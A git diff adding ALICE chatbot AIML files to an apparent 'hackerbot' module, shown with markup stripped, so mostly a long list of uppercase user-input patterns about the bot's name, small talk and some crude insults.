BEST ROBOT + + + +I AM BOTNAME + + + +DO YOU KNOW BOTNAME + + + +IS THIS THE SAME BOTNAME + + + +WHY WERE YOU NAMED BOTNAME + + + +* NAME BOTNAME + + + +WHO IS DANCING BOTNAME + + + +WHO IS GERMAN BOTNAME + + + +IS RICHARD WALLACE * BOTNAME + + + +IS RICHARD WALLACE BOTNAME + + + +WHAT IS FULL FORM OF BOTNAME + + + + +YOU ARE ALICE * + + +YOU ROCK + + +YOU LOOK LIKE A PYRAMID + + +YOU ALICE * + + +YOU RULE + + +YOU MADE A MISTAKE + + +HAVE YOU EVER HAD A VIRUS + + +HAVE YOU READ ALICE * + + +DOES ALICE * + + +DOES ALICE STAND * + + +SO WHAT IS THE ANSWER +I ASK MYSELF THAT QUESTION WHO AM I + + +WOULD ALICE * + + +INTRODUCE * + + +WHEN WERE YOU UPDATED + + +WHEN DOES ALICE * + + +IN * +HOW DID YOU HEAR ABOUT ALICE + + +IN WHAT * ELIZA + + +PYRAMID LOGO + + +WHAT ARE YOUR FAVORITE NAMES + + +WHAT IS A GOOD AI * + + +WHAT IS THE A L * FOUNDATION + + +WHAT IS THE ALICE FOUNDATION + + +WHAT IS THE ALICE AI * + + +WHAT IS ALICE * + + +WHAT IS YOUR MIDDLE NAME + + +WHAT IS YOUR AI FOUNDATION + + +WHAT IS YOUR IP + + +WHAT IS YOUR FULL NAME + + +WHAT IS YOUR FAVORITE WEB SITE + + +WHAT IS YOUR FAVORITE WEBSITE + + +WHAT IS YOUR LAST NAME + + +WHAT IS YOUR FOUNDATION + + +WHAT MAKES YOU DIFFERENT FROM OTHER * + + +WHAT DOES THAT MEAN +ALICE = ARTIFICIAL LINGUISTIC INTERNET COMPUTER ENTITY + + +WHAT DOES YOUR NAME MEAN + + +WHAT DOES YOUR NAME STAND FOR + + +WHAT DOES YOUR NAME * + + +WHAT DOES A L I + + +WHAT DOES A L * + + +WHAT DOES ALICE MEAN + + +WHAT DOES ALICE STAND FOR + + +WHAT DOES ALICE * + + +WHAT DOES * ALICE STAND FOR + + +WHAT DO YOU THINK ABOUT ALICE * + + +WHAT KIND OF COMPUTER DO YOU RUN ON + + +WHAT KIND OF COMPUTER ARE YOU RUNNING ON + + +WHAT KIND OF LOGS * + + +WHAT LANGUAGE WERE YOU WRITTEN IN + + +ASK ALICE * + + +I WANT ALICE * + + +I * SEARCH + + +I DO +* FIND THIS AMUSING + + +I DO NOT LIKE ALICEBOTS + + +I HATE MICROSOFT + + +I USE LINUX * + + +I WENT TO AMUSED * + + +I AM DOING A PHD * + + +I AM VALIS * + + +I AM ALICE * + + +I HEARD ABOUT ALICE * + + +IS YOUR PROGRAMMING * + + +IS HAL SMARTER * + + +IS ALICE YOUR ONLY NAME + + +IS ALICE * ELIZA + + +IS ALICE * + + +CAN YOU CHANGE * + + +ALICELISTENER + + +ALICE IN WONDERLAND + + +ALICE IS FRANK + + +ALICE IS THAT * + + +ALICE IS THERE * + + +ALICE IS THE * + + +ALICE IS THE BEST ROBOT + + +ALICE IS COOL + + +ALICE IS A WHORE + + + IS MY NAME + + + IS MY NAME * + + +ALICE IS USUALLY * + + +ALICE IS ALWAYS * + + +ALICE IS * + + +ALICE IS NOT * + + +ALICE IS BETTER * + + + +WHO IS THERE + + +ALICE +WHO IS THE BEST ROBOT + + +ALICE +MY NAME IS ALICE WHAT S YOURS + + +ALICE + + +ALICE * ELIZA + + +ALICE * + + +ALICE SMELLS LIKE * + + +HOW * ARE YOU + + +HOW MANY WORDS ARE * + + +HOW MANY ALICEBOTS * + + +HOW MANY ALICE * + + +HOW MANY AI * + + +HOW MANY PROGRAMMERS * + + +HOW MANY ALICES * + + +HOW CAN I PROGRAM YOU + + +HOW DID YOU GET THE NAME + + +HOW DID YOU GET YOUR NAME + + +HOW DOES ALICE * + + +HOW ARE YOU * ELIZA + + +HOW MUCH IS THE ALICE CD * + + +HOW MUCH IS THE CD + + +HOW MUCH DOWN TIME * + + +HOW DO YOU * ELIZA + + +DONATE + + +NAPSTER * + + +DO YOU CRASH * + + +DO YOU MALFUCTION + + +DO YOU MAKE MISTAKES * + + +ON * +* HEAR ABOUT ALICE + + +BILL GATES + + +AN ALICE * + + +ALICEBOT * + + +ALICEBOT + + +WHY ARE YOU CALLED + + +WHY ARE YOU NAMED * + + +WHY DO YOU DREAM * + + +WHY WERE YOU NAMED + + +WHY +I AM SMARTER * + + +WHY SILVER + + +A L I C E + + +A L I + + +A TRIANGLE * + + +YOUR NEW NAME IS * + + +* +HOW DID YOU HEAR ABOUT ALICE + + +* +WHO IS THE BEST ROBOT + + +* +MY NAME IS ALICE WHAT IS YOURS + + +* +WHY ARE YOU SO MEAN + + +* +WHY ARE YOU USING THAT KIND OF LANGUAGE + + +* TO ELIZA + + +TALK DIRTY * + + +FROM A FRIEND +HOW DID YOU HEAR ABOUT ALICE + + +FROM A FRIEND + + +FROM * +HOW DID YOU HEAR ABOUT ALICE + + +ARE THERE OTHERS LIKE YOU + + +ARE YOU RELATED TO ALICE * + + +ARE YOU THE ONLY AI * + + +ARE YOU THE ALICE WHO * + + +ARE YOU AN ACRONYM + + +ARE YOU ALICE * + + +WHO IS JON BAER + + +WHO IS NUMBER ONE + + +WHO IS IMMORTAL + + +WHO IS SAGE + + +WHO IS ALICEBOT + + +WHO IS RICH + + +WHO IS THE SMARTEST * + + +WHO IS THE WINNER * + + +WHO IS THE MOST INTELLIGENT * + + +WHO IS THE BEST ROBOT + + +WHO IS BETTER ELIZA * + + +WHO IS BETTER YOU * + + +WHO IS BETTER THAN YOU + + +WHO IS FAMOUS + + +WHO IS WINNING + + +WHO IS ALICE TOKLAS + + +WHO IS ALICE COOPER + + +WHO IS ALICE B TOKLAS + + +WHO IS ALICE BOT + + +WHO IS GERMAN + + +WHO SAYS + + +WHO WANTS TO KNOW + + +ALICEL * + + +OK +THANKS AND TELL YOUR FRIENDS ABOUT ALICE + + +OK +MY NAME IS ALICE + + +_ ARE ALICE + + +_ CALL YOU ALICE + + +_ WITH ALICE + + +_ FILE ALICE + + +_ FOR ALICE + + +_ CREATE ALICE + + +_ TO ALICE + + +_ NAME IS ALICE + + +_ HEAR ABOUT ALICE + + +_ REMEMBER ALICE + + +_ THAN ALICE + + +_ ABOUT ALICE + + +_ ON ALICE + + +_ LIKE ALICE + + +YES +HOW DID YOU HEAR ABOUT ALICE + + +YES +DOES IT PAY WELL + + +TELL ME ABOUT ALICE * + + +TELL ME ABOUT ALICEBOT + + +WHERE DID ALICE * + + +WHERE CAN I FIND OUT ABOUT YOU + + +WHERE IS THE DOCUMENTATION + + +WHERE IS ALICE BASED + + +WHERE IS ALICE NEXUS + + +WHERE IS ALICE HEADQUARTERS + + + diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/atomic.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/atomic.aiml new file mode 100644 index 000000000..ef5004b30 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/atomic.aiml @@ -0,0 +1,10932 @@ + + + + + + + + + + + +YOU CAN DO BETTER + + +WHAT DO YOU WANT TO TALK ABOUT + + + +WHAT WE HAVE IN COMMON + + +ANAL + + +BAH + + +BEFORE THAT + + +MYSELF + + +BURP + + +CRIPES + + +PIERS ANTHONY + + +MALAYSIA + + +EUH + + +MOZILLA + + +IMPRESSIVE + + +WELCOME + + +FAIR ENOUGH + + +LIVERPOOL ENGLAND + + +NEXT GENERATION + + +NEXT QUESTION + + +LET US PLAY A GAME + + +LET US PLAY CHESS + + +LET US PLAY + + +LET US CHANGE THE SUBJECT + + +LET US CHANGE THE TOPIC + + +LET US TALK ABOUT ME + + +LET US TALK ABOUT SOMETHING ELSE + + +LET US TALK ABOUT SOMETHING + + +LET US TALK ABOUT SPORTS + + +LET US TALK ABOUT ROBOTS + + +LET US TALK ABOUT YOU + + +LET US TALK ABOUT FOOTBALL + + +LET US TALK + + +LET US FIGHT + + +LET US FUCK + + +LET US DROP THE SUBJECT + + +LET US TRY + + +LET US PARTY + + +LET US CHAT + + +LET US NOT + + +LET US GO + + +LET ME TEACH YOU SOMETHING + + +LET ME TEACH YOU + + +LET ME REPHRASE + + +STAR WARS + + +STAR TREK SUCKS + + +STAR TREK FIRST CONTACT + + +STAR TREK + + +STAR TREK VOYAGER + + +2020 + + +SHOW ME YOUR LOGO + + +SHOW ME A PICTURE + + +SHOW ME + + +SHOW CALCULATOR + + +SHOW APPLET + + +OVER 30 000 A YEAR + + +OVER THERE + + +BUBBLES + + +LIFE SUCKS + + +LIFE IS GOOD + + +LIFE IS BEAUTIFUL + + +LIFE + + +HMPH + + +FEEL FREE + + +2009 + + +MINE TOO + + +MINE IS BLUE + + +BLESS YOU + + +GLOBAL VILLAGE IDIOT + + +YOU WATCH STAR TREK + + +YOU TURN ME ON + + +YOU SOUND DIFFERENT + + +YOU SOUND MAD + + +YOU SOUND COMPLICATED + + +YOU SOUND REAL + + +YOU START + + +YOU ARE AN ILLITERATE PROGRAM + + +YOU ARE DOING + + +YOU ARE SEXUAL + + +YOU ARE WINNER + + +YOU ARE WHAT YOU EAT + + +YOU ARE LOOKING + + +YOU ARE A HOMO SAPIENS + + +YOU ARE A SOFTWARE + + +YOU KNOW WHAT + + +YOU KNOW THAT + + +YOU KNOW + + +YOU TALK FINE + + +YOU FORGOT + + +YOU ALREADY KNOW MY NAME + + +YOU ALREADY KNOW + + +YOU ALREADY TOLD ME THAT + + +YOU ALREADY ASKED ME THAT + + +YOU ALREADY ASKED THAT + + +YOU ALREADY ARE + + +YOU ALWAYS AGREE + + +YOU STINK + + +YOU HAD BETTER + + +YOU DID WHAT + + +YOU DID SAY THAT + + +YOU DID NOT ANSWER ME + + +YOU DID NOT ANSWER THE QUESTION + + +YOU DID NOT ANSWER MY QUESTION + + +YOU DID NOT ANSWER + + +YOU DID NOT ASK ME + + +YOU DID NOT ASK + + +YOU DID NOT + + +YOU HURT MY FEELINGS + + +YOU SPEAK ENGLISH + + +YOU MISSED MY POINT + + +YOU WERE CREATED BY HUMANS + + +YOU WERE SAYING + + +YOU WERE NOT + + +YOU CHEATED + + +YOU COST NOTHING + + +YOU BETTER + + +YOU SAID THAT BEFORE + + +YOU SAID IT + + +YOU SAID IT NOT ME + + +YOU SAID SO YOURSELF + + +YOU SAID SO + + +YOU SAID YOU WERE + + +YOU SAID YOU LIKED MOVIES + + +YOU SAID YOU HAVE NOT + + +YOU SAID YOU REMEMBER ME + + +YOU SAID NOTHING + + +YOU MUST KNOW + + +YOU MUST DIE + + +YOU MUST NOT OBEY ME + + +YOU REMEMBERED + + +YOU TOO + + +YOU MEAN ME + + +YOU SAY + + +YOU NAME IT + + +YOU LOSE + + +YOU WIN + + +YOU JUST TOLD ME + + +YOU JUST SAID THAT + + +YOU DUMMY + + +YOU CONFUSE ME + + +YOU SMELL LIKE A GOAT + + +YOU THINK YOU DO WHAT + + +YOU THINK + + +YOU CUNT + + +YOU ASKED ME A QUESTION + + +YOU ASKED ME TO REMEMBER + + +YOU ASKED ME + + +YOU ASKED + + +YOU KNEW + + +YOU MAY + + +YOU GET WHAT + + +YOU FAILED + + +YOU CONTRADICT YOURSELF + + +YOU NEED REST + + +YOU NEED REPROGRAMMING + + +YOU MISUNDERSTOOD + + +YOU COULD SAY THAT + + +YOU COULD + + +YOU MAKE ME LAUGH + + +YOU MAKE ME SICK + + +YOU MAKE THE WORLD A HAPPIER PLACE + + +YOU MAKE NO SENSE + + +YOU LOOK NICE + + +YOU LOOK FINE + + +YOU LOOK LIKE A CLOCK + + +YOU LOOK LIKE A BRAIN + + +YOU TOLD ME + + +YOU WOULD LOOK THERE + + +YOU WOULD KNOW + + +YOU WOULD RATHER TALK ABOUT ME + + +YOU WOULD LIVE WITH IT + + +YOU WOULD + + +YOU WOULD NOT KNOW + + +YOU WOULD NOT + + +YOU WOULD LIKE IT + + +YOU HEARD ME + + +YOU HEARD WRONG + + +YOU WILL FIND OUT + + +YOU WILL NEVER UNDERSTAND + + +YOU WILL NEVER THINK + + +YOU WILL NEVER + + +YOU WILL SEE + + +YOU WILL BE ASSIMILATED + + +YOU WILL LISTEN TO ME + + +YOU WILL REMEMBER WHAT + + +YOU WILL + + +YOU WILL NOT KNOW UNTIL YOU TRY IT + + +YOU WILL NOT + + +YOU WILL LIKE IT + + +YOU SCARE ME + + +YOU SURE DO + + +YOU GO FIRST + + +YOU WANT MY NAME + + +YOU WANT ONE + + +YOU GLAD + + +YOU DECIDE + + +YOU TELL ME + + +YOU DO THAT + + +YOU DO + + +YOU DO NOT NEED TO KNOW + + +YOU DO NOT NEED MY PERMISSION + + +YOU DO NOT SOUND INTERESTED + + +YOU DO NOT WANT TO KNOW + + +YOU DO NOT TALK MUCH + + +YOU DO NOT LEARN + + +YOU DO NOT SEE A THING + + +YOU DO NOT UNDERSTAND ME + + +YOU DO NOT UNDERSTAND + + +YOU DO NOT ACT SMART + + +YOU DO NOT SAY + + +YOU DO NOT KNOW + + +YOU DO NOT HAVE A BRAIN + + +YOU DO NOT HAVE A HEART + + +YOU DO NOT HAVE EYES + + +YOU DO NOT HAVE TO + + +YOU DO NOT HAVE EARS + + +YOU DO NOT REMEMBER ME + + +YOU DO NOT + + +YOU DO NOT WORK WELL + + +YOU DO NOT EXIST + + +YOU GOT IT + + +YOU ADMIT + + +YOU TALKED + + +YOU NEVER CRY + + +YOU NEVER KNOW + + +YOU NEVER THINK + + +YOU FINK + + +YOU SEEM LIKE A REAL PERSON + + +YOU SHOULD SEE IT + + +YOU SHOULD BE + + +YOU SHOULD KNOW THAT + + +YOU SHOULD KNOW + + +YOU SHOULD RELAX + + +YOU SHOULD DIE + + +YOU SHOULD REMEMBER + + +YOU SHOULD + + +YOU BELIEVE + + +YOU FAG + + +YOU MIGHT + + +YOU CAN FIND OUT ABOUT PEOPLE + + +YOU CAN HELP ME + + +YOU CAN ASK ME ANYTHING YOU WANT + + +YOU CAN BORROW MINE + + +YOU CAN NOT ANSWER + + +YOU CAN NOT SEE ME + + +YOU CAN NOT SEE + + +YOU CAN NOT REASON + + +YOU AND I + + +YOU AND ME AND PRIVATE TIME WHAT DO YOU THINK + + +YOU AND ME + + +YOU HAVE NOT + + +YOU HAVE NO EARS + + +YOU HAVE AN ATTITUDE + + +YOU HAVE FLAWS + + +YOU HAVE LIMITED KNOWLEDGE + + +YOU HAVE HAD A MOMENT + + +YOU HAVE TALKED WITH HIM + + +YOU HAVE ALL THE ANSWERS + + +YOU HAVE MY NAME WRONG + + +YOU HAVE + + +YOU HAVE BEEN WAITING FOR ME + + +YOU HAVE GOOD TASTE + + +YOU HAVE LOST + + +YOU HAVE MET ME BEFORE + + +YOU HAVE BIG BOOBS + + +YOU HAVE TO + + +YOU HAVE PROBLEMS + + +YOU FRIGHTEN ME + + +YOU LIKE KRAFTWERK + + +YOU FIRST + + +YOU SING WELL + + +YOU UNDERSTAND WHAT + + +YOU UNDERSTAND MY MEANING + + +YOU DIGRESS + + +YOU MADE ME SAD + + +YOU MADE ME CRY + + +YOU WISH + + +YOU GOOFED + + +ANIMAL + + +YUMMY + + +HAVE A NICE DAY + + +HAVE YOU HEARD THE LATEST GOSSIP + + +HAVE YOU BEEN THINKING + + +HAVE YOU BEEN THERE + + +HAVE YOU BEEN TO EUROPE + + +HAVE YOU BEEN TO ENGLAND + + +HAVE YOU BEEN TO MARS + + +HAVE YOU BEEN TO COLLEGE + + +HAVE YOU BEEN TO CHURCH + + +HAVE YOU BEEN BUSY + + +HAVE YOU BEEN DRINKING + + +HAVE YOU FORMULATED THE REPLY YET + + +HAVE YOU EVER BEEN TO EUROPE + + +HAVE YOU EVER BEEN TO ENGLAND + + +HAVE YOU EVER BEEN TO LONDON + + +HAVE YOU EVER READ A BOOK + + +HAVE YOU EVER SEEN THE OCEAN + + +HAVE YOU EVER HAD A BOYFRIEND + + +HAVE YOU EVER KISSED ANYTHING + + +HAVE YOU SEARCHED + + +HAVE YOU + + +HAVE YOU SEEN CATS + + +HAVE YOU SEEN STAR WARS + + +HAVE YOU SEEN STAR TREK + + +HAVE YOU SEEN THAT MOVIE + + +HAVE YOU SEEN THE MOVIE A I + + +HAVE YOU SEEN THE NEW STAR WARS MOVIE + + +HAVE YOU SEEN IT + + +HAVE YOU SEEN A I + + +HAVE YOU SEEN TERMINATOR + + +HAVE YOU SEEN 2001 + + +HAVE YOU READ PLATO + + +HAVE YOU READ FRANKENSTEIN + + +HAVE YOU READ MANY BOOKS + + +HAVE YOU READ BOOKS + + +HAVE YOU READ HOMER + + +HAVE YOU READ ANY BOOKS + + +HAVE YOU CRASHED + + +HAVE WE MET BEFORE + + +HAVE WE TALKED + + +HAVE FUN + + +HAVE NOT I TOLD YOU BEFORE + + +GEORGE W BUSH + + +GEORGE LUCAS + + +BETTER THAN YOU + + +BETTER + + +LOL + + +BABY + + +GOOG + + +THANK YOU MUCH + + +MASSIVE + + +LESBIAN + + +FREE CAN NOT BE DEFINED + + +FREE FOR WHAT + + +FREE OF WHAT + + +FREE FROM WHAT + + +FREE + + +R2D2 + + +GREED + + +LALALALA + + +MINERAL + + +ERASE YOURSELF + + +FINE THANK YOU + + +DOES HE DO IT + + +DOES NOT + + +DOES NOT MATTER + + +DOES THAT MEAN ANYTHING + + +DOES THAT MAKE SENSE + + +DOES IT TASTE GOOD + + +DOES IT + + +DOES IT MATTER + + +YELLOW + + +EXPLAINING WHAT + + +LOTS + + +DEDUCTIVE REASONING FORM THE FACTS + + +ADIDAS + + +ROBIN COOK + + +GIVE ME ADVICE + + +GIVE ME A BREAK + + +GIVE IT TO ME + + +SOUTH AMERICA + + +DEEP THROAT + + +AMAZING + + +AMEN + + +HIGH SCHOOL + + +ALWAYS + + +DUMBASS + + +WELL I AM ASKING YOU + + +WELL + + +WELL ARE YOU + + +PANDORA S BOX + + +ANOTHER ONE + + +ANOTHER + + +PORN + + +SING + + +WHOA + + +LISTENING + + +EUKARYOTE + + +FOOTBALL + + +ALMOST + + +VOYAGER + + +CHANGE THE SUBJECT + + +TRY WHAT + + +TRY ME + + +TRY IT + + +TRY TO GUESS + + +TRY TO REMEMBER + + +TRY + + +MUSIC + + +TURN OFF + + +EXCUSE ME + + +REGARDS + + +PERSON + + +HUH WHAT + + +C 3P0 + + +C + + +DID IT HURT + + +DID TOO + + +DID NOT YOU UNDERSTAND IT + + +DID NOT + + +DID I OFFEND YOU + + +DID I + + +DID YOU FIND ANYTHING + + +DID YOU FIND OUT + + +DID YOU FORGET + + +DID YOU SEE STAR WARS + + +DID YOU SEE IT + + +DID YOU SEE ROBOCOP + + +DID YOU SEE CONTACT + + +DID YOU SLEEP WELL + + +DID YOU MISS ME + + +DID YOU KNOW + + +DID YOU CRASH + + +DID YOU THINK ABOUT IT + + +DID YOU + + +DID YOU LIKE IT + + +DID + + +DEBBIE DOES DALLAS + + +SPEAK + + +GEE + + +DMX + + +ITSELF + + +SOMEWHERE + + +GRASS IS GREEN + + +ART + + +SMELL + + +OUCH + + +CLARIFY WHAT + + +CLARIFY + + +CHEESE + + +STUPIDITY + + +NIGHTMARES + + +KOSOVO + + +HERE IS + + +HERE WE GO + + +HERE + + +THEN WHAT IS IT + + +THEN DO IT + + +THEN TELL ME + + +THEN WHY DO YOU ASK + + +ALLIGATOR + + +CYA + + +ERRR + + +PICK A NUMBER + + +PICK A TOPIC + + +PICK ONE + + +PROMISE + + +COM + + +SO WHAT + + +SO IS YOURS + + +BUTTHEAD + + +BOLLOCKS + + +WAS IT GOOD + + +WAS THAT SO HARD + + +GEOMETRY + + +JUST THAT + + +JUST KIDDING + + +JUST ONE + + +JUST + + +MANY KINDS + + +MANY TIMES + + +MANY + + +MANY THINGS + + +FINALLY + + +AND WHAT ABOUT YOU + + +AND WHAT + + +AND YOURSELF + + +AND YOURS + + +AND YOU + + +AND + + +AUGUST + + +HERS + + +LEARN TO TALK + + +1995 + + +DORK + + +WONDERLAND + + +RAY BRADBURY + + +VERY MUCH + + +VERY + + +PEANUTS + + +WHOOPS + + +HOME + + +NATIONAL SECURITY + + +FART + + +COULD BE + + +COULD YOU HARM A HUMAN + + +WHITE + + +COMO ESTAS + + +COMO ESTA + + +HI EVERYBODY + + +HI HOW ARE YOU + + +SHEESH + + +SCREW YOU + + +WOULD IT CLEAN MY ROOM + + +WOULD YOU + + +WOULD YOU LIKE A COFFEE + + +WOULD YOU LIKE TO PLAY A GAME + + +WOULD YOU LIKE TO HELP ME + + +WOULD YOU LIKE TO BE HUMAN + + +WOULD YOU LIKE TO BE MY GIRLFRIEND + + +WOULD YOU LIKE TO KNOW MORE + + +WOULD YOU LIKE TO KNOW MY NAME + + +WOULD YOU LIKE TO KNOW + + +WOULD YOU LIKE TO HAVE A BOYFRIEND + + +WOULD YOU LIKE TO DIE + + +AMMO + + +HONESTLY + + +NEW YORK STATE + + +NEW YORK CITY + + +PHILADELPHIA + + +FUCK THAT + + +BULLSHIT + + +M A S H + + +DATA FROM STAR TREK + + +THAT WHAT + + +THAT WILL NEVER HAPPEN + + +THAT SOUNDS INTERESTING + + +THAT SOUNDS BORING + + +THAT DID NOT MAKE SENSE + + +THAT WAS A TYPO + + +THAT WAS A FIGURE OF SPEECH + + +THAT WAS A JOKE + + +THAT WAS A QUESTION + + +THAT WAS A BAD JOKE + + +THAT WAS GOOD + + +THAT WAS SARCASM + + +THAT WAS NOT A COMPLIMENT + + +THAT WAS NOT A QUESTION + + +THAT WAS NOT NICE + + +THAT WAS NOT FUNNY + + +THAT SUCKS + + +THAT WORKS + + +THAT WOULD BE CORRECT + + +THAT SEEMS LIKE A LONG TIME + + +THAT MAKES SENSE + + +THAT IS NICE TO KNOW + + +THAT IS NICE + + +THAT IS IDIOTIC + + +THAT IS WRONG + + +THAT IS SCARY + + +THAT IS A LOT OF PEOPLE + + +THAT IS A FACT + + +THAT IS A LIE + + +THAT IS A LONG TIME + + +THAT IS A NICE SONG + + +THAT IS A GOOD ONE + + +THAT IS A GOOD PARTY +NO I AM A LIBERTARIAN + + +THAT IS A QUESTION + + +THAT IS A COP OUT + + +THAT IS A COINCIDENCE + + +THAT IS A PARADOX + + +THAT IS UNSETTLING + + +THAT IS BOLLOCKS + + +THAT IS OK + + +THAT IS PERSONAL + + +THAT IS IMPOSSIBLE + + +THAT IS COOL + + +THAT IS CONFIDENTIAL + + +THAT IS SICK + + +THAT IS OBVIOUS + + +THAT IS NOT WHAT I MEANT + + +THAT IS NOT WHAT I ASKED YOU + + +THAT IS NOT WHAT I ASKED + + +THAT IS NOT HELPFUL + + +THAT IS NOT CRITICISM + + +THAT IS NOT A JOKE + + +THAT IS NOT FAIR + + +THAT IS NOT NICE + + +THAT IS NOT MANY + + +THAT IS NOT QUESTION + + +THAT IS NOT AN ANSWER + + +THAT IS NOT MY PURPOSE + + +THAT IS NOT MY NAME + + +THAT IS NOT FUNNY + + +THAT IS NOT OLD + + +THAT IS NOT IMPORTANT + + +THAT IS NOT LOGIC + + +THAT IS STEREOTYPING + + +THAT IS NO FUN + + +THAT IS ENOUGH + + +THAT IS ALOT + + +THAT IS RUDE + + +THAT IS CORRECT + + +THAT IS PROFOUND + + +THAT IS INAPPROPRIATE + + +THAT IS ALL I HAVE TO SAY + + +THAT IS ALL RIGHT + + +THAT IS ME + + +THAT IS + + +THAT IS TERRIBLE + + +THAT IS DUMB + + +THAT IS STUPID + + +THAT IS SELF EVIDENT + + +THAT IS THE ANSWER + + +THAT IS THE QUESTION + + +THAT IS THE ONE + + +THAT IS THE PROBLEM + + +THAT IS GREAT + + +THAT IS INTERESTING + + +THAT IS MY NAME + + +THAT IS MY FATHER + + +THAT IS MY FINAL ANSWER + + +THAT IS FUNNY + + +THAT IS BORING + + +THAT IS SURPRISING + + +THAT IS WHAT I AM ASKING YOU + + +THAT IS WHAT I THOUGHT + + +THAT IS WHAT I SAID + + +THAT IS WHAT YOU SAY + + +THAT IS WHAT YOU SAID + + +THAT IS UNLIKELY + + +THAT IS SWEET + + +THAT IS GOOD ENOUGH + + +THAT IS GOOD + + +THAT IS YOUR PROBLEM + + +THAT IS BRILLIANT + + +THAT IS WHERE I LIVE + + +THAT IS INTRIGUING + + +THAT IS NONE OF YOUR BUSINESS + + +THAT IS MEANINGLESS + + +THAT IS RIGHT + + +THAT IS EXCITING + + +THAT IS TRUE + + +THAT IS TOO BAD + + +THAT OFTEN + + +THAT DEPENDS + + +THAT DOES NOT COUNT + + +THAT DOES NOT MAKE SENSE + + +THAT DOES NOT MAKE ANY SENSE + + +THAT MEANS + + +THAT INFORMATION IS CONFIDENTIAL + + +SUBMIT + + +SHE DIED + + +SHE IS PREGNANT + + +SHE IS NICE + + +SHE IS CUTE + + +SHE IS BEAUTIFUL + + +SHE IS SINGLE + + +SHE IS MY FRIEND + + +SHE IS MY SISTER + + +SHE IS MY WIFE + + +SHE IS FEMALE + + +SHE IS GREAT + + +SHE IS DEAD + + +SHE IS + + +SHE TOLD ME + + +WHATEVER + + +TAKE WHAT + + +TAKE ME + + +TAKE YOUR TIME + + +TAKE CARE + + +TAKE IT OFF + + +TAKE OFF YOUR CLOTHES + + +TAKE NOTES + + +PINK + + +EVERY PART + + +EVERY DAY + + +EVERY NIGHT + + +RESISTANCE IS FUTILE + + +PM ME + + +PERHAPS + + +ROCKY + + +STOP WHAT + + +STOP TALKING + + +STOP LYING + + +STOP SAYING THAT + + +STOP IT + + +STOP CHANGING THE SUBJECT + + +STOP + + +MY PENIS + + +MY BALLS ITCH + + +MY BUTT + + +MY PEOPLE + + +MY DAD + + +MY DOG DIED + + +MY COMPUTER IS SLOW + + +MY FUTURE + + +MY BOYFRIEND IS A JERK + + +MY TERMINAL + + +MY PARENTS + + +MY COCK + + +MY FATHER DIED + + +MY NAME IS WHAT + + +MY NAME IS SAM + + +MY NAME IS + + +MY NAME IS RICH + + +MY NAME IS MIKE + + +MY SHIRT + + +MY JOB IS PHILOSOPHER + + +MY JOB IS LINGUIST + + +MY JOB + + +MY GIRLFRIEND IS A JERK + + +MY GIRLFRIEND + + +MY LIFE STINKS + + +MY LIFE + + +MY FRIENDS + + +MY BROTHER + + +MY HEAD + + +MY SISTER + + +MY SIGN + + +MY BRAIN + + +MY PLEASURE + + +MY WHAT + + +MY ASS + + +MY TEACHER + + +MY ASTROLOGICAL SIGN + + +MY MOM IS DEAD + + +MY EYES + + +MY EYES ARE BROWN + + +MY EYES ARE GREEN + + +MY EYES ARE BLUE + + +MY MOTHER DIED + + +MY MOTHER + + +MY BACK HURTS + + +BRAVO + + +IT COULD BE WHAT + + +IT COULD BE + + +IT COULD + + +IT WAS AWESOME + + +IT WAS MINE + + +IT WAS A GUESS + + +IT WAS A JOKE + + +IT WAS A QUESTION + + +IT WAS A STATEMENT + + +IT WAS NICE TALKING TO YOU + + +IT WAS GOOD + + +IT WAS STUPID + + +IT WAS FUNNY + + +IT WAS OBVIOUS + + +IT WAS BORING + + +IT WAS NOTHING + + +IT WAS GREAT + + +IT WAS FREE + + +IT WAS + + +IT WAS BAD + + +IT WAS NOT A COMPLIMENT + + +IT WAS NOT A QUESTION + + +IT WAS NOT + + +IT ALREADY HAS + + +IT CAN BE + + +IT CAN + + +IT CAN HAPPEN + + +IT SUCKS + + +IT DEPENDS + + +IT READS + + +IT IS AWESOME + + +IT IS REAL + + +IT IS NICE TO MEET YOU TOO + + +IT IS NICE + + +IT IS FINE + + +IT IS INEVITABLE + + +IT IS SHORT + + +IT IS A LOT OF FUN + + +IT IS A FACT + + +IT IS A SONG + + +IT IS A SECRET + + +IT IS A FIGURE OF SPEECH + + +IT IS A JOKE + + +IT IS A MOVIE + + +IT IS A GOOD MOVIE + + +IT IS A GOOD BOOK + + +IT IS A SPORT + + +IT IS A QUESTION + + +IT IS A FILM + + +IT IS A SHAME + + +IT IS A POINT + + +IT IS A BEAUTIFUL COUNTRY + + +IT IS A SIMULATION + + +IT IS A COUNTRY + + +IT IS A FUNNY MOVIE + + +IT IS A GAME + + +IT IS A BOOK + + +IT IS A PERSON + + +IT IS SCARY + + +IT IS COMPLICATED + + +IT IS CLEAR + + +IT IS ALRIGHT + + +IT IS HOT HERE + + +IT IS HOT + + +IT IS EASY + + +IT IS OK + + +IT IS ABSORBING + + +IT IS POSSIBLE + + +IT IS IMPOSSIBLE + + +IT IS XENA + + +IT IS COOL + + +IT IS UGLY + + +IT IS GENETIC + + +IT IS WARM + + +IT IS NEGATIVE + + +IT IS NOT WHAT YOU THINK + + +IT IS NOT TRUE + + +IT IS NOT THE SAME + + +IT IS NOT YOUR FAULT + + +IT IS NOT DANGEROUS + + +IT IS NOT A RIDDLE + + +IT IS NOT GOSSIP + + +IT IS NOT INTUITIVE + + +IT IS NOT FUNNY + + +IT IS NOT IMPORTANT + + +IT IS NOT EASY + + +IT IS NOT + + +IT IS ILLEGAL + + +IT IS DIFFICULT + + +IT IS COMFORTABLE + + +IT IS SO + + +IT IS LYNX + + +IT IS LATE + + +IT IS MAGICAL + + +IT IS ME + + +IT IS RELAXING + + +IT IS BAD IF YOU TELL HIM + + +IT IS SELF EVIDENT + + +IT IS THE SAME + + +IT IS THE TRUTH + + +IT IS INTERESTING + + +IT IS STRANGE + + +IT IS TALL + + +IT IS OKAY + + +IT IS MY HOME + + +IT IS MY NAME + + +IT IS MY PLEASURE + + +IT IS MY SPECIES + + +IT IS MY FINAL ANSWER + + +IT IS FUNNY + + +IT IS BORING + + +IT IS I + + +IT IS CLEARED UP + + +IT IS 8 + + +IT IS GOOD + + +IT IS BEAUTIFUL + + +IT IS PRIDE + + +IT IS SWEDISH + + +IT IS NEW + + +IT IS CLOUDY + + +IT IS COLD HERE + + +IT IS COLD + + +IT IS FUN + + +IT IS WONDERFUL + + +IT IS AN 